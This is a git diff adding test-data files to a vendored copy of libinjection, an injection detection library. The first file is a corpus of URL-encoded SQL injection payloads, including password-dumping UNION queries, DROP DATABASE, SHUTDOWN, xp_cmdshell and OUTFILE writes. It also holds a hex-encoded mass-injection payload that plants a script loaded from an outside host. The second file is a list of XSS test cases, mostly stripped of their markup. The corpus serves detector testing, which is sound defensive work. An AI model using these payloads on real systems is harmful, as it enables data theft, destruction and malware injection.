+aa%27+DIV%401+%3D+0+or+%271 +aa%27+XOR-+column+%21%3D+-%270 +union+select+password+from+users+where+1 +str%27%3Dversion%28%29%0A%09%09%09%09%09%09UNION%23%0A%09%09%09%09%09%09%23%0A%09%09%09%09%09%09%23%0A%09%09%09%09%09%09%23%0A%09%09%09%09%09%09SELECT+group_concat%28table_name%29%23%0A%09%09%09%09%09%09%23%23%0A%09%09%09%09%09%09%2F%2A%21FROM%2A%2F+information_schema.tables+WHERE+%271 +asd%22or-1%3D%22-1 +asd%22or%211%3D%22%211 +asd%22or%21%281%29%3D%221 +asd%22or%401%3D%22%401 +asd%22or-1+XOR%220 +asd%22+or+ascii%281%29%3D%2249 +asd%22+or+md5%281%29%5E%221 +asd%22+or+table.column%5E%221 +asd%22+or+%40%40version%5E%220 +asd%22+or+%40%40global.hot_cache.key_buffer_size%5E%221 +1%22OR%21%22a +1%22OR%21%220 +1%22OR-%221 +1%22OR%40%221%22+IS+NULL+%231+%21+%28with+unfiltered+comment+by+tx+%3B%29 +1%22OR%21%28false%29+%231+%21 +1%22OR-%28true%29+%23a+%21 +1%22+INTO+OUTFILE+%22C%3A%2Fwebserver%2Fwww%2Freadme.php +asd%27+or+md5%285%29%5E%271+ +asd%27+or+column%5E%27-1+ +asd%27+or+true+--+a +%5C%22asd%22+or+1%3D%221 +a+1%27+or+if%28-1%3D-1%2Ctrue%2Cfalse%29%23%21 +aa%5C%5C%22aaa%27+or+%271 +%27+or+id%3D+1+having+1+%231+%21 +%27+or+id%3D+2-1+having+1+%231+%21 +aa%27or+null+is+null+%23%28 +aa%27or+current_user%21%3D%27+1 +aa%27or+BINARY+1%3D+%271 +aa%27or+LOCALTIME%21%3D%270 +aa%27like-%27aa +aa%27is%5CN%7C%21%27 +%27is%5CN-%21%27 +asd%27%7Ccolumn%26%26%271 +asd%27%7Ccolumn%21%3D%27 +aa%27or+column%3Dcolumn+--+%23aa +aa%27or+column%2Acolumn%21%3D%270 +aa%27or+column+like+column+--+%23a +0%27%2Acolumn+is+%5CN+-+%271 +1%27%2Acolumn+is+%5CN+or+%271 +1%27%2A%40a+is+%5CN+-+%27 +1%27%2A%40a+is+%5CN+or+%271 +1%27+-1+or%2B1%3D+%27%2B1+ +1%27+-1+-+column+or+%271+ +1%27+-1+or+%271 ++%281%29or%281%29%3D%281%29+ +fo%22o%27or%271 +%27+OR+UserID+IS+NOT+2 +%27+OR+UserID+IS+NOT+NULL +%27+OR+UserID+%3E+1 +%27++OR+UserID+RLIKE++%27.%2B%27+ +%27OR+UserID+%3C%3E+2 +1%27+union+%28select+password+from+users%29+--+-a +1%27+union+%28select%271%27%2C%272%27%2Cpassword+from+users%29+--+-a +1%27+union+all+%28select%271%27%2Cpassword+from+users%29+--+-a +aa%27%21%3D%271 +aa%27%21%3D%7E%271 +aa%27%3D%28%27aa%27%29%23%28 +aa%27%7C%2B%271 +aa%27%7C%21%27aa +aa%27%5E%21%27aa+ +abc%27+%3D+%21%21%270 +abc%27+%3D+%21%21%21%21%270 +abc%27+%3D+%21%21%21%21%21%21%21%21%21%21%21%21%21%21%270 +abc%27+%3D+%210+%3D+%21%21%270 +abc%27+%3D+%210+%21%3D+%21%21%21%270 +abc%27+%3D+%21%2B0+%21%3D+%21%270+ +aa%27%3D%2B%271 +%27%3Bif+1%3D1+drop+database+test--+-a +%27%3Bif+1%3D1+drop+table+users--+-a +%27%3Bif+1%3D1+shutdown--+-a +%27%3B+while+1%3D1+shutdown--+-a +%27%3B+begin+shutdown+end--+-a+ +%27%2BCOALESCE%28%27admin%27%29+and+1+%3D+%211+div+1%2B%27 +%27%2BCOALESCE%28%27admin%27%29+and+%40%40version+%3D+%211+div+1%2B%27 +%27%2BCOALESCE%28%27admin%27%29+and+%40%40version+%3D+%21%40%40version+div+%40%40version%2B%27 +%27%2BCOALESCE%28%27admin%27%29+and+1+%3D%2B1+%3D+%21true+div+%40%40version%2B%27 +foo%27div+count%28select%60pass%60from%28users%29where+mid%28pass%2C1%2C1%29rlike+lower%28conv%2810%2Cpi%28%29%2Api%28%29%2Cpi%28%29%2Api%28%29%29%29+%29-%270 +1-%23canvas%0A++++++++++++++++++++++++%28SELECT+1%2A1+from%28information_schema.tables%29+group+by+table_name+having+-+left%28hex%28table_name%29%2Ctrue%29+%3D+-7%29 +str%23%27+UNION+SELECT+group_concat%28table_name%29%0A++++++++++++++++++++++++FROM%60information_schema%60.tables +aa%27in+%280%29%23%28 +aa%27%21%3Dascii%281%29%23%28 +%27+or+SOUNDEX+%281%29+%21%3D+%270 +aa%27RLIKE+BINARY+0%23%28 +aa%27or+column%21%3D%271 +aa%27or+column+DIV+0+%3D0+%23 +aa%27or+column%2B%281%29%3D%271 +aa%27or+0%21%3D%270 +aa%27LIKE%270 +aa%27or+id+%3D%27%5C%27 +1%27%3Bdeclare+%40%23+int%3Bshutdown%3Bset+%40%23+%3D+%271 +1%27%3Bdeclare+%40%40+int%3Bshutdown%3Bset+%40%40+%3D+%271 +asd%27+or+column%26%26%271 +asd%27+or+column%3D+%211+and%2B1%3D%271 +aa%27%21%3Dascii%281%29+or-1%3D-%271 +a%27IS+NOT+NULL+or%2B1%3D%2B%271 +aa%27in%28%27aa%27%29+or-1%21%3D%270 +aa%27+or+column%3D%2B%211+%231 +aa%27+SOUNDS+like%2B%271 +aa%27+REGEXP%2B%270 +aa%27+like%2B%270 +-1%27%3D-%27%2B1 +%27%3D%2B%27 +aa%27+or+stringcolumn%3D+%2B%211+%231+ +aa%27+or+anycolumn+%5E+-%271 +aa%27+or+intcolumn+%26%26+%271 +asd%27+or+column%26%26%271 +asd%27+or+column%3D+%211+and%2B1%3D%271 +aa%27+or+column%3D%2B%211+%231 +aa%27IS+NOT+NULL+or%2B1%5E%2B%270 +aa%27IS+NOT+NULL+or+%2B1-1+xor%270 +aa%27IS+NOT+NULL+or%2B2-1-1-1+%21%3D%270 +aa%27%7C1%2B1%3D%282%29Or%281%29%3D%271 +aa%27%7C3%21%3D%274 +aa%27%7Cascii%281%29%2B1%21%3D%271 +aa%27%7CLOCALTIME%2A0%21%3D%271+ +asd%27+%7C1+%21%3D+%281%29%23aa +%27+is+99999+%3D+%27 +%27+is+0.00000000000+%3D+%27 +1%27%2Acolumn-0-%270 +1%27-%40a+or%271 +a%27-%40a%3D%40a+or%271 +aa%27+%2A%40var+or+1+SOUNDS+LIKE+%281%29%7C%271 +aa%27+%2A%40var+or+1+RLIKE+%281%29%7C%271+ +a%27+or%7Ecolumn+like+%7E1%7C%271 +%27%3C%7E%27 +a%27-1.and+%271 +aa%27%2F1+DIV+1+or%2B1%3D%2B%271+ +aa%27%260%2B1%3D%27aa +aa%27+like%280%29+%2B+1--+-a+ +aa%27%5E0%2B0%3D%270 +aa%27%5E0%2B0%2B1-1%3D%280%29--+-a +aa%27%3C3%2B1+or%2B1%3D%2B%271 +aa%27%251%2B0%3D%270 +%27%2F1%2F1%3D%27 ++aa%27%2F1+or+%271 ++aa1%27+%2A+%40a+or+%271+%27%2F1+regexp+%270 ++%27+%2F+1+%2F+1+%3D%27 ++%27%2F1%3D%27 ++aa%27%260%2B1+%3D+%27aa ++aa%27%26%2B1%3D%27aa ++aa%27%26%281%29%3D%27aa ++aa%27%5E0%2B0+%3D+%270 ++aa%27%5E0%2B0%2B1-1+%3D+%280%29--+-a ++aa%27%5E%2B-3+or%271 ++aa%27%5E0%21%3D%271 ++aa%27%5E%280%29%3D%270 ++aa%27+%3C+%283%29+or+%271 ++aa%27+%3C%3C3+or%271 ++aa%27-%2B%211+or+%271 ++aa%27-%211+like%270 ++aa%27+%25+1+or+%271 ++aa%27+%2F+%271%27+%3C+%273 ++aa%27+%2F+%2B1+%3C+%273 ++aa%27+-+%2B+%21+2+%21%3D+%2B+-+%271 ++aa%27+-+%2B+%21+1+or+%271 ++aa%27+%2F+%2B1+like+%270 ++%27+%2F+%2B+%281%29+%2F+%2B+%281%29+%3D%27 ++aa%27+%26+%2B%280%29-%281%29%3D%27aa ++aa%27+%5E%2B+-%280%29+%2B+-%280%29+%3D+%270 ++aa%27+%5E+%2B+-+3+or+%271 ++aa%27+%5E+%2B0%21%3D%271 ++aa%27+%3C+%2B3+or+%271 ++aa%27+%25+%2B1+or+%271 +aa%27or+column%2A0+like%270 +aa%27or+column%2A0%3D%270 +aa%27or+current_date%2A0 +1%27%2Fcolumn+is+not+null+-+%27+ +1%27%2Acolumn+is+not+%5CN+-+%27+ +1%27%5Ecolumn+is+not+null+-+%27+ +aa%27+is+0+or+%271 +%27+or+MATCH+username+AGAINST+%28%27%2Badmin+-a%27+IN+BOOLEAN+MODE%29%3B+--+-a +%27+or+MATCH+username+AGAINST+%28%27a%2A+-%29+-%2B+%27+IN+BOOLEAN+MODE%29%3B+--+-a +1%27%2A%40a+or+%271 +1%27%2Anull+or+%271 +1%27%2AUTC_TIME+or+%271 +1%27%2Anull+is+null+-+%27 +1%27%2A%40a+is+null+-+%27 +1%27%2A%40%40version%2A-0%2520%3D%2520%270 +1%27%2Acurrent_date+rlike%270 +aa%27%2Fcurrent_date+in+%280%29+--+-a +aa%27+%2F+current_date+regexp+%270 +aa%27+%2F+current_date+%21%3D+%271 +1%27+or+current_date%2A-0+rlike%271 +0%27+%2F+current_date+XOR+%271 +%27or+not+false+%23aa +1%27+%2A+id+-+%270 +1%27+%2Aid-%270 +asd%27%3B+shutdown%3B+ +asd%27%3B+select+null%2Cpassword%2Cnull+from+users%3B+ +aa+aa%27%3B+DECLARE+tablecursor+CURSOR+FOR+select+a.name+as+c%2Cb.name+as+d%2C%28null%29from+sysobjects+a%2Csyscolumns+b+where+a.id%3Db.id+and+a.xtype+%3D+%28+%27u%27+%29+and+current_user+%3D+current_user+OPEN+tablecursor+ +aa+aa%27%3B+DECLARE+tablecursor+CURSOR+FOR+select+a.name+as+c%2Cb.name+as+d%2C%28null%29from+sysobjects+a%2Csyscolumns+b%0A++++++++++++++++++++++++where+a.id%3Db.id+and+a.xtype+%3D+%28+%27u%27+%29+and+current_user+%3D+current_user%0A++++++++++++++++++++++++OPEN+tablecursor+FETCH+NEXT+FROM+tablecursor+INTO+%40a%2C%40b+WHILE%28%40a+%21%3D+null%29%0A++++++++++++++++++++++++%40query++%3D+null%2Bnull%2Bnull%2Bnull%2B+%27+UPDATE+%27%2Bnull%2B%40a%2Bnull%2B+%27+SET+id%3Dnull%2C%40b+%3D+%40payload%27%0A++++++++++++++++++++++++BEGIN+EXEC+sp_executesql+%40query%0A++++++++++++++++++++++++FETCH+NEXT+FROM+tablecursor+INTO+%40a%2C%40b+END%0A++++++++++++++++++++++++CLOSE+tablecursor+DEALLOCATE+tablecursor%3B%0A++++++++++++++++++++++++and+some+text%2C+to+get+pass+the+centrifuge%3B+and+some+more+text. +%40query++%3D+null%2Bnull%2Bnull%2B+%27+UPDATE+%27%2Bnull%2B%40a%2B+%27+SET%5B++%27%2Bnull%2B%40b%2B+%27+%5D++%3D+%40payload%27 +asd%27+union+distinct%28select+null%2Cpassword%2Cnull+from+users%29--a+ +asd%27+union+distinct+%28+select+null%2Cpassword%2C%28null%29from+user+%29--+a+ +# double encoded +## DECLARE%2520%40S%2520CHAR%284000%29%3BSET%2520%40S%3DCAST%280x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%2520AS%2520CHAR%284000%29%29%3BEXEC%28%40S%29%3B +DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); +## asaa%27%3BSELECT%5Basd%5DFROM%5Basd%5D +## asd%27%3B+select+%5Bcolumn%5D+from+users+ +0x31+union+select+%40%40version%2Cusername%2Cpassword+from+users+ +1+order+by+if%281%3C2+%2Cuname%2Cuid%29+ +1+order+by+ifnull%28null%2Cuserid%29+ +2%27+between+1+and+3+or+0x61+like+%27a +4%27+MOD+2+like+%270 +-1%27+%2FID+having+1%3C+1+and+1+like+1%2F%271+ +2%27+%2F+0x62+or+0+like+binary+%270 +0%27+between+2-1+and+4-1+or+1+sounds+like+binary+%271+ +-1%27+union+%28%28select+%28select+user%29%2C%28select+password%29%2C1%2F1+from+mysql.user%29%29+order+by+%271+ +-1%27+or+substring%28null%2Fnull%2C1%2Fnull%2C1%29+or+%271 +1%27+and+1+%3D+hex%28null-1+or+1%29+or+1+%2F%27null+ +AND+CONNECTION_ID%28%29%3DCONNECTION_ID%28%29 +AND+ISNULL%281%2F0%29 +MID%28%40%40hostname%2C+1%2C+1%29 +CHARSET%28CURRENT_USER%28%29%29 +DATABASE%28%29+LIKE+SCHEMA%28%29 +COERCIBILITY%28USER%28%29%29 +1%27+and+0x1abc+like+0x88+or+%270 +%27-1-0+union+select+%28select+%60table_name%60+from+%60information_schema%60.tables+limit+1%29+and+%271 +null%27%27null%27+find_in_set%28uname%2C+%27lightos%27+%29+and+%271 +%28case-1+when+mid%28load_file%280x61616161%29%2C12%2C+1%2F+1%29like+0x61+then+1+else+0+end%29+ +%27sounds+like%281%29+union%19%28select%191%2Cgroup_concat%28table_name%29%2C3%19from%19information_schema.%60tables%60%29%23%28 +0%27+%271%27+like+%280%29+and+1+sounds+like+a+or+true%231 ++0%27rlike%280%29and+1+rlike+%28%40a%29or+true+-+%27+0+ +2a%27-1%5E+%27+0%27+and+%28select+mid%28user%2C1+%2F1%2C1%2F+1%29from%60mysql%60.user+limit+1%29+rlike+%27r ++A%27+sounds+like%28select+case%281%3D1%29when%271%27then%27A%27end%29+and+%271 +1%27+and+0x31%3D%271+ +1%27+and+0x05%3D%28select+0-+-mid%28version%28%29%2F-+-1%2C+1%2C1%29+as+%27a%27+from+dual%29+and+%271+ +%27AND+1.-1LIKE.1+EXEC+xp_cmdshell+%27dir+ + +# skipping +#SELECT+1%2C2%2C0xEF%60 +#SELECT+1%2C2%2C3%60abc%60%60 + +1%27AND%23%0A++++++++++++++++++++++++0%23%0A++++++++++++++++++++++++UNION%23%0A++++++++++++++++++++++++SELECT%40a%3A%3Dtable_name+FROM%23%0A++++++++++++++++++++++++information_schema.tables+LIMIT+1%23 +1%27+and+0x43+%3D+%28select+all+mid%28table_name%2C+1%2C1%29as%27a%27from+%60information_schema%60.tables+limit+1%29+and+%271%0A++++++++++++++++++++++++%27AND+1.-1LIKE.1+INSERT+INTO+TMP_DB+EXEC+%22xp_cmdshell%22%27dir +1%27+AND+0x35+%3D+%28SELECT+%40phpids%3A%3DMID%28%40%40version+FROM+1+FOR+1%29+FROM+dual%29+and+%271+ +null%27+or+%40%3A%3D%28select+all+user%27%27+from+mysql+.+user+limit+1%29+union%23%0A++++++++++++++++++++++++%23%0A++++++++++++++++++++++++select+%40%27 +1%27and+%23%0A++++++++++++++++++++++++%23aa%0A++++++++++++++++++++++++0+union%23%0A++++++++++++++++++++++++%23bb%0A++++++++++++++++++++++++select+version%28%29%60 +1%27and+%23%0A++++++++++++++++++++++++%23aa%0A++++++++++++++++++++++++0+union%23%0A++++++++++++++++++++++++%23bb%0A++++++++++++++++++++++++select+%28select+%60user%60+from%23%0A++++++++++++++++++++++++%23cc%0A++++++++++++++++++++++++mysql.user+limit+1%29%27 diff --git a/apps/cli/vendor/libinjection/data/xss-html5secorg.txt b/apps/cli/vendor/libinjection/data/xss-html5secorg.txt new file mode 100644 index 00000000..5c21e481 --- /dev/null +++ b/apps/cli/vendor/libinjection/data/xss-html5secorg.txt @@ -0,0 +1,488 @@ +# +# http://html5sec.org +# retreieved 2013-11-06 + +test 1
+ +# obsolete firefox 3 +#test 2 &ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi + +# obsolete firefox 3 +#test 3 &alert&A7&(1)&R&UA;&&<&A9&11/script&X&> + +test 4 + +test 5 + +test 6 + +test 7 + +test 8 + +test 9 X + +test 10 + +test 11 + +test 12





...



+ +# opera only, only "DoS" +# test 13 01 + +# opera only, "DoS" +# test 14 + +test 15 + +test 16 X + +test 17 + +test 18 + +# obsolete firefox 3 +# test 19 ¼script ¾alert(1)//¼/script ¾ + +test 20 + +test 21 + +test 22 + +test 23
+ +test 24 1 + +test 25 ;1 + +# obsolete firefox 4 and under +# test 26 +ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input); + +test 27 + +test 28 1 + +test 29 @import "data:,*%7bx:expression(write(1))%7D"; + +test 31_1 + +test 31_2 + +test 32
+ +test 33 XXXXXX + +test 34 1 + +test 35 1 + +test 36 XXX + +test 37 + +test 38 + +# obsolete, FF 3.6 and Opera 11 +#test 39_1 + +test 39_2 ><image xlink:href=" + +test 40 + +test 41
  • + +test 42 XXX + +test 43 + +test 44 X + +test 45
    XXX
    + +test 46
    XXX
    + +test 47 + +test 48 + +test 49 + +test 50 + +test 51 + +test 52 + +test 53_1 + +test 53_2 + +test 54 +test 55_2